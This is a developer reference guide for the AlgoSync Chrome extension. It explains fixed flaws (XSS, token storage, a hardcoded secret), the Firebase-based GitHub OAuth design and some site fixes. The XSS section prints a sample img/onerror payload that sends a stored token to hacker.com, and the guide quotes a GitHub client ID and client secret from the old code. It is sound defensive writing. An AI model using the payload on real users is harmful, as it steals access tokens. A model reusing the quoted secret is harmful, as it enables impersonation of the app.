This document serves as a master reference guide for the AlgoSync extension. It explains the critical security flaws found in the original codebase, details the architectural decisions made during the rewrite, and provides a learning path for mastering Chrome Extension development with Firebase.
- Part 1: Security Vulnerabilities & Fixes
- Part 2: Architectural Decisions
- Part 3: Learning Path & Resources
Caution
Using innerHTML with unsanitized data is the leading cause of Cross-Site Scripting (XSS) attacks in web development.
In the original popup.js, raw text from LeetCode or GitHub was injected directly into the DOM using template strings:
const rawName = item.name;
html += `<span class="solved-item-title" title="${rawName}">${rawName}</span>`;
solvedListElement.innerHTML = html;The innerHTML property forces the browser to parse strings as actual executable HTML code. If an attacker maliciously names a LeetCode list or problem <img src="x" onerror="fetch('https://hacker.com?token=' + localStorage.getItem('token'))">, the browser will blindly execute that JavaScript when the popup opens. The hacker could instantly steal the user's GitHub Access Token.
We completely removed all instances of innerHTML from popup.js and replaced them with secure DOM Node APIs:
const titleSpan = document.createElement('span');
titleSpan.className = 'solved-item-title';
// textContent strictly renders text, neutralizing any malicious HTML tags
titleSpan.textContent = rawName;
detailsDiv.appendChild(titleSpan);Important
Chrome Extensions are fully public client applications. They have no secure backend by default.
The original background.js contained hardcoded API credentials:
const GITHUB_CLIENT_ID = 'Ov23lien2nepUiHUGdRA';
const GITHUB_CLIENT_SECRET = '2c59fb5edd693c54037bf64d370b299d6e7db6cf';Anyone can open their local file explorer, read the extension's source code, and extract the GITHUB_CLIENT_SECRET. With this secret, an attacker could spoof the AlgoSync app, drain its rate limits, or trick users into granting permissions to a malicious clone app.
We completely stripped the Client Secret and the old OAuth flow from the extension. Instead, we implemented Firebase Authentication. The secret is now locked securely inside the Firebase Cloud Console backend, invisible to the public. The extension only talks to Firebase, which handles the secure GitHub handshake.
In content-script.js, data was extracted using highly specific, machine-generated CSS classes (e.g., document.querySelector('.problems_header_content__S_W_K h3')).
Modern web frameworks auto-generate these class names upon every new site deployment. When LeetCode updates their site, the class name changes, causing the querySelector to return null and instantly breaking the extension for all users.
We transitioned to robust DOM traversal (looking for standard HTML elements like <h1> or a[href]) and multi-fallback selectors.
Tip
Always assume external APIs will fail or rate-limit your users.
GitHub strictly limits API requests. If a user synced too fast, GitHub would return a 429 Too Many Requests or 403 Forbidden error. The old code caught these errors but suppressed them, leaving the user with a generic "Failed" message and no idea what went wrong.
We added robust response.status checking in background.js. If a rate limit is hit, we use the chrome.notifications API to display a friendly system popup: "GitHub rate limit exceeded. Please wait 5 minutes."
Important
Storing secure OAuth tokens requires localized sandboxing (chrome.storage.local) instead of Google cloud-synced storage (chrome.storage.sync) to prevent cross-device session leaks.
In the old layout, extension configurations and credentials (accessToken, selectedRepo, repos, theme) were stored flat on chrome.storage.sync. This presented two severe issues:
- Security Risk: Storing GitHub tokens on Google's cloud storage sync channels syncs private access tokens across devices, widening the attack surface.
- Visual Mess: Inspections in DevTools showed cluttered, scattered key-value listings, offering zero structure or clean namespacing.
We completely overhauled the storage layer by introducing a unified helper engine: storage-helper.js:
- Namespaced
userObject (storage.local): Houses secure token details, repository configurations, and lists, keeping them completely localized on the device. - Namespaced
settingsObject (storage.sync): Syncs non-sensitive preferences (like UItheme) across the user's Google accounts. - Silent Auto-Migration: Added an automated migration routine on startup (
AlgoStorage.migrate()) that silently transfers existing flat keys to namespaced variables, keeping all existing users securely logged in with zero disruption.
We discovered that popup.js made immediate async calls to AlgoStorage upon initialization. However, popup.html only imported firestore-helper.js and popup.js, leaving storage-helper.js unreferenced. This triggered immediate, uncaught runtime script crashes (AlgoStorage is not defined) when a user opened the extension popup.
We integrated the <script src="storage-helper.js"></script> tag directly before firestore-helper.js in popup.html, establishing a solid dependency order and securing popup UI stability.
With fixed 10% padding on the main <nav> bar and hardcoded 992px media query collapse margins, the AlgoSync logo, navbar list links, and download CTA buttons collided and overlapped whenever users zoomed their Chrome browsers in (125%–175%), making the navbar unreadable.
We replaced all rigid layouts with fluid design rules in index.html:
- Fluid padding boundaries: Updated nav padding to
padding: 1rem max(2rem, 5vw). - Preventing Element Collisions: Added custom fluid gap adjustments at
@media (max-width: 1250px)and@media (max-width: 1150px). - Earlier Mobile Hamburger Collapse: Shifted the mobile navigation query to hide nav links at
1024pxinstead of992px, keeping the logo and CTAs clean at any zoom level.
The landing page hero section featured a generic stock picture of a laptop showing PHPStorm editor code that did not align with AlgoSync. Additionally, the primary "Install" buttons had empty hashes (href="#") leading to dead clicks and poor onboarding UX.
- Stock Photo Cleanup: Deleted the generic mockup container completely, immediately sharpening the hero layout focus.
- Redirect CTA: Wired the primary hero
"Add to Chrome — It's Free"button to point directly to the step-by-step Chrome Extension manual installation guide (#how-it-works) for a seamless onboarding loop.
Aggressive browser caching in Google Chrome caused the old developer profile placeholder avatar to persist on screen even after the user uploaded their own custom black-and-white portrait.
We copied the fresh profile image locally into the website bundle as developer.png and appended a cache-busting version query string (/developer.png?v=1) to all image tags, forcing Chrome to immediately reload and render the latest image asset.
To authenticate users via GitHub, we had to choose between Chrome's native OAuth API (chrome.identity.launchWebAuthFlow) and Firebase's SDK method (signInWithPopup).
If we used the native chrome.identity API, Chrome would automatically redirect the user to a virtual domain (e.g., https://[EXTENSION_ID].chromiumapp.org/) and grant us the raw GitHub Access Token.
However, Firebase would not know who this user is. To log the user into Firebase using a raw GitHub token, we would have had to build, host, and maintain a custom backend Node.js server to securely mint custom Firebase JWT tokens. This adds massive complexity and hosting costs.
We completely bypassed Chrome's Manifest V3 CSP constraints by hosting the authentication flow entirely on the open web using Firebase Hosting (login.html).
- The Bridge Tab: When the user clicks "Connect GitHub" in the extension popup, we use
chrome.tabs.create()to openhttps://algosync-a537d.web.app/login.html. - CSP Freedom: Because
login.htmlruns as a standard webpage (not inside the restrictedchrome-extension://context), it has full freedom to execute Firebase Auth's invisible iframes and Google OAuth redirects without Content Security Policy violations. - The Popup-Blocked Fix: We bind the
signInWithPopuptrigger directly and synchronously to the user's "Proceed to GitHub" button click on the webpage. This prevents browsers from interpreting the popup as an unprompted, malicious ad popup. - Token Extraction: For Firebase v8 Compat scripts, the OAuth token is deeply nested. We extract it securely via
result.credential.accessToken. - Extension Communication: Once the web page obtains the token, it securely beams it back to the background service worker using
chrome.runtime.sendMessage({ action: 'login_success', token })combined withexternally_connectablepermissions inmanifest.json.
The Vulnerability: Chrome extensions and Firebase Hosting aggressively cache static assets. When we shipped fixes to login.js, users' browsers continued executing the broken, cached code.
The Fix: We implemented two layers of Cache Busting:
login.html?extId=...&v=1734919192(Appended dynamic Date timestamps inpopup.jswhen creating the tab).<script src="login.js?v=3"></script>(Hardcoded query parameter bumping inside the HTML to force the Firebase CDN to serve the latest script).
To successfully maintain this extension, you must understand the intersection of Manifest V3, Firebase, and OAuth.
- Extension Architecture: Differentiate between the Popup (resets on close), the Background Service Worker (runs persistently without DOM access), and Content Scripts (injects into web pages).
- Message Passing: Master
chrome.runtime.sendMessage(). This is how your UI components ask the background worker to execute Firebase functions or GitHub API calls. - Firebase SDK in MV3: Because Manifest V3 blocks remote CDN scripts (
<script src="https://...">), you must rely on local SDK files (thecompatlibraries we added) or use a JavaScript bundler. - Firestore NoSQL Modeling: Understand how data is stored in Collections and Documents, and learn how to write Firestore Security Rules to prevent User A from reading User B's data.
Because Manifest V3 drastically changed Chrome Extension development, avoid tutorials older than 2023, as they will likely use deprecated Manifest V2 patterns.
- "How to add Firebase to a Service Worker - Chrome Extension Manifest Version MV3"
- Creator: Russell Barnard (Rusty Extensions)
- Focus: Watch how he handles downloading the modular Firebase SDK locally and why Manifest V3 blocks external scripts.
- "Implementing Firebase Auth SSO with Chrome Extensions MV3"
- Search Term:
Firebase Auth chrome.identity Manifest V3 tutorial - Focus: Watch how modern bundlers (Vite/Webpack) are used to compile Firebase into a single
background.jsfile for production-level extensions.
- Search Term: